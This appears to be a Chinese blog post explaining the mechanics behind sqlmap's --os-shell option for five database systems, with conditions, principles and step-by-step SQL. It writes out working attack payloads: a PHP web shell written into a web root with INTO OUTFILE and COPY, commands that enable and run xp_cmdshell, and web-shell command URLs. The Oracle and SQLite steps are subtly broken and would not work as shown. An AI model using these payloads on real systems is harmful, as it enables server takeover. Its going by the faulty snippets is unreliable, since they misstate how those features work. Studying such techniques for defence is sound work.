sqlmap --os-shell的原理(MySQL,MSSQL,PostgreSQL,Oracle,SQLite)

1. MySQL

条件
  • 数据库用户需要具备高权限(如 FILE 权限)。
  • 数据库服务运行用户需要对目标目录有写权限。
  • Web 服务器有可写目录,且支持执行上传的脚本(如 PHP、JSP 等)。
原理
  • 利用 MySQL 的 SELECT ... INTO OUTFILE 功能,将恶意代码写入目标 Web 目录,生成一个 Web Shell 文件。
  • 攻击者通过浏览器访问 Web Shell,获得命令执行能力。
流程
  1. 确认 FILE 权限:

    sql 复制代码
    SELECT * FROM mysql.user WHERE User='target_user';
  2. 写入 Web Shell 到目标目录:

    sql 复制代码
    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
  3. 通过浏览器访问 Web Shell 执行命令:

    bash 复制代码
    http://xxxxxx.com/shell.php?cmd=whoami

2. Microsoft SQL Server (MSSQL)

条件
  • 数据库用户需要 sysadmin 权限。
  • 目标服务器启用了扩展存储过程 xp_cmdshell
  • 数据库运行用户有命令执行权限。
原理
  • 调用 MSSQL 的 xp_cmdshell 存储过程,直接在操作系统中执行命令。
流程
  1. 确认是否启用了 xp_cmdshell

    sql 复制代码
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
  2. 利用 xp_cmdshell 执行命令:

    sql 复制代码
    EXEC xp_cmdshell 'whoami';
  3. 通过命令的输出或回显获取执行结果。


3. PostgreSQL

条件
  • 数据库用户需要对文件系统具有写权限。
  • 数据库支持使用 COPY 命令将数据写入文件。
  • 目标 Web 目录可写入文件,并允许脚本执行。
原理
  • 利用 PostgreSQL 的 COPY 功能,将 Web Shell 写入目标文件系统。
流程
  1. 写入 Web Shell:

    sql 复制代码
    COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
  2. 访问 Web Shell: http://xxxxx.com/shell.php?cmd=id


4. Oracle

条件
  • 数据库用户需要 CREATE LIBRARY 权限。
  • 数据库运行用户需要访问操作系统。
  • 利用外部过程或 Java 存储过程。
原理
  • 通过 Oracle 数据库的外部过程,调用操作系统命令。
  • 使用 Java 存储过程执行系统级操作。
流程
  1. 创建外部库(如 DLL 文件):

    sql 复制代码
    CREATE OR REPLACE LIBRARY mylib AS '/path/to/external/file';
  2. 调用外部过程执行命令:

    sql 复制代码
    DECLARE
        cmd VARCHAR2(1000);
    BEGIN
        cmd := 'ls';
        DBMS_SCHEDULER.CREATE_JOB(cmd);
    END;
  3. 读取命令执行结果。


5. SQLite

条件
  • SQLite 本身无法直接与操作系统交互。
  • 必须结合其他漏洞(如本地文件包含)实现 Web Shell。
原理
  • 利用 SQLite 的 ATTACH 或其他功能,尝试将恶意数据写入特定目录。
流程
  1. 写入数据:

    sql 复制代码
    ATTACH DATABASE '/var/www/html/shell.php' AS shell;
  2. 在 Web 服务器中访问生成的 Web Shell 文件。


总结表

数据库 条件 原理 流程简述
MySQL FILE 权限,Web 目录可写 写入 Web Shell 通过 SELECT ... INTO OUTFILE 写 Shell -> 访问 Shell -> 执行命令
MSSQL sysadmin 权限,启用 xp_cmdshell 使用 xp_cmdshell 直接执行系统命令 开启 xp_cmdshell -> 执行命令
PostgreSQL 写权限,Web 目录可访问 使用 COPY 写入 Web Shell 写 Shell -> 访问 Shell -> 执行命令
Oracle CREATE LIBRARY 权限,系统访问权限 使用外部库或 Java 存储过程调用系统命令 配置库 -> 调用命令
SQLite 结合其他漏洞(如文件包含) 写入恶意数据文件,结合其他漏洞(如 LFI)访问 写 Shell -> 结合 LFI 执行
相关推荐
aristo_boyunv3 分钟前
Redis发布订阅【充当消息中间件】
数据库·redis·缓存
zz-zjx1 小时前
MySQL 开源主从复制实战指南(SRE 可靠性优先版)
数据库·mysql·开源
计算机学姐4 小时前
基于微信小程序的高校班务管理系统【2026最新】
java·vue.js·spring boot·mysql·微信小程序·小程序·mybatis
Microsoft Word8 小时前
向量数据库与RAG
数据库·人工智能·向量数据库·rag
位步8 小时前
在linux系统中使用通用包安装 Mysql
android·linux·mysql
艾德金的溪9 小时前
redis-7.4.6部署安装
前端·数据库·redis·缓存
小光学长9 小时前
基于Vue的2025年哈尔滨亚冬会志愿者管理系统5zqg6m36(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
前端·数据库·vue.js
小陈永不服输9 小时前
MySQL覆盖索引深度解析:从原理到实践的性能优化之道
mysql
我的offer在哪里10 小时前
Redis
数据库·redis·缓存